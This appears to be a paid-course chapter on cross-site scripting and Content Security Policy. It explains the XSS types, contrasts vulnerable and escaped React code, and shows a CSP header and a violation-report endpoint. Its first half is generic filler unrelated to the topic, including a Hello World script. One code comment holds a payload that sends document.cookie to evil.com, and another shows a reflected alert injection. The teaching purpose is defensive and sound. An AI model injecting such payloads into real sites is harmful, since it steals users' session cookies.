XSS & CSP

Vibe Prompt

"Explore xss & csp with examples and prevention techniques."

Key Concepts

  • Core principles and attack vectors
  • Detection and exploitation techniques
  • Prevention and mitigation strategies
  • Real-world examples and case studies

Practice Exercise

๐Ÿ’ก Practice: Ask AI to help you create a vulnerable app and test these protections.

Chapter Summary

  • Understand core concepts and principles
  • Master implementation methods and techniques
  • Familiar with common issues and solutions
  • Able to apply in real projects

Further Reading

  • Official documentation and API references
  • Open source examples on GitHub
  • Technical books and online courses
  • Community discussions and tech blogs

Implementation Example

Basic Example

# This section provides a complete implementation example

Steps

  1. Setup: Configure development environment
  2. Data: Prepare required data
  3. Implementation: Build core functionality
  4. Testing: Verify correctness
  5. Optimization: Improve performance

Common Errors

| Error Type | Cause | Solution | |------------|-------|----------| | Compilation | Syntax | Check code syntax | | Runtime | Environment | Verify dependencies installed | | Logic | Algorithm | Step-by-step debugging | | Performance | Efficiency | Use profilers |

Code Example

import sys

def main():
    print("Hello, World!")

if __name__ == "__main__":
    main()

References

  • Official documentation
  • API reference
  • Open source examples
  • Community discussions

Key Points

  • Understand the core concepts thoroughly
  • Practice with hands-on code examples
  • Apply knowledge to real-world problems
  • Review and reinforce through exercises

Further Learning

  • Official documentation
  • Open source projects on GitHub
  • Community forums and discussions
  • Related courses and tutorials

What Is XSS?

Cross-Site Scripting (XSS) occurs when an attacker injects malicious scripts into web pages viewed by other users.

Types of XSS

| Type | Description | Persistence | |------|-------------|-------------| | Stored XSS | Malicious script saved on the server (database) | โœ… Stored | | Reflected XSS | Script comes from the current request (URL, form) | โŒ Not stored | | DOM-based XSS | Vulnerability in client-side JavaScript only | โŒ Not stored |

Stored XSS Example

// โŒ Vulnerable: Rendering user-submitted HTML
// A user posts a comment with:
// <script>fetch('https://evil.com/steal', {body: document.cookie})</script>

// โœ… Safe: React auto-escapes
<div>{userComment}</div>

// โœ… Safe: Only if you need HTML, use DOMPurify
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{
  __html: DOMPurify.sanitize(userComment)
}} />

Reflected XSS Example

// โŒ Vulnerable: Embedding URL parameter in HTML
// <div>Search result for: <b>${req.query.q}</b></div>
// Attacker sends: /search?q=<script>alert('XSS')</script>

// โœ… Safe: Encode output
import { escape } from 'html-escaper';
<div>Search result for: <b>{escape(req.query.q)}</b></div>

Content Security Policy (CSP)

CSP is a browser security mechanism that prevents XSS by controlling which resources can be loaded.

CSP Directives

| Directive | Controls | Example | |-----------|----------|---------| | default-src | Fallback for all resource types | 'self' | | script-src | JavaScript sources | 'self' 'unsafe-inline' | | style-src | CSS sources | 'self' 'unsafe-inline' | | img-src | Image sources | 'self' data: https: | | connect-src | fetch, XHR, WebSocket | 'self' https://api.example.com | | font-src | Font sources | 'self' https://fonts.gstatic.com | | frame-src | iframe sources | 'self' | | report-uri | Where to send violation reports | /csp-report |

Implementing CSP

// Next.js: Add CSP header
const csp = [
  "default-src 'self'",
  "script-src 'self' 'unsafe-inline'",
  "style-src 'self' 'unsafe-inline'",
  "img-src 'self' data: https:",
  "font-src 'self' https://fonts.gstatic.com",
  "connect-src 'self' https://api.example.com",
  "frame-src 'self'",
  "report-uri /api/csp-report",
].join('; ');

// In middleware
res.setHeader('Content-Security-Policy', csp);

CSP Report Endpoint

// app/api/csp-report/route.ts
export async function POST(request: Request) {
  const report = await request.json();
  
  console.warn('[CSP Violation]', {
    blocked: report['csp-report']['blocked-uri'],
    violated: report['csp-report']['violated-directive'],
    source: report['csp-report']['source-file'],
  });
  
  // Store in database for analysis
  await prisma.cspViolation.create({
    data: {
      blockedUri: report['csp-report']['blocked-uri'],
      directive: report['csp-report']['violated-directive'],
      userAgent: request.headers.get('user-agent') || '',
    }
  });
  
  return Response.json({ status: 'ok' });
}

XSS Prevention Checklist

| Practice | Implementation | |----------|---------------| | Auto-escape output | Use React, Vue, Angular (they escape by default) | | Sanitize HTML | DOMPurify when raw HTML is necessary | | Set CSP header | Restrict scripts, styles, connections | | HttpOnly cookies | Prevent JS from reading cookies | | Input validation | Reject dangerous characters | | Use textContent not innerHTML | Safer DOM manipulation |

Summary

XSS allows attackers to inject scripts into web pages. Prevention combines output encoding, CSP headers, HttpOnly cookies, and input validation.

Key takeaways: | Three types: stored (in DB), reflected (in URL), DOM-based (client-side) | | Stored XSS is most dangerous โ€” script runs every time the page loads | | React auto-escapes by default โ€” never use dangerouslySetInnerHTML without DOMPurify | | CSP: Content-Security-Policy header restricts script/style/font sources | | CSP report-uri: receive violation reports for monitoring | | HttpOnly cookies: prevent JavaScript from accessing session tokens | | Use textContent instead of innerHTML for DOM manipulation |

What's Next: CSRF and SameSite

The next chapter covers cross-site request forgery.

Unlock Full Tutorial

This chapter is paid content. Join the project to unlock over 5000 words of deep analysis, including 10+ god-tier Prompts and real Source Code examples!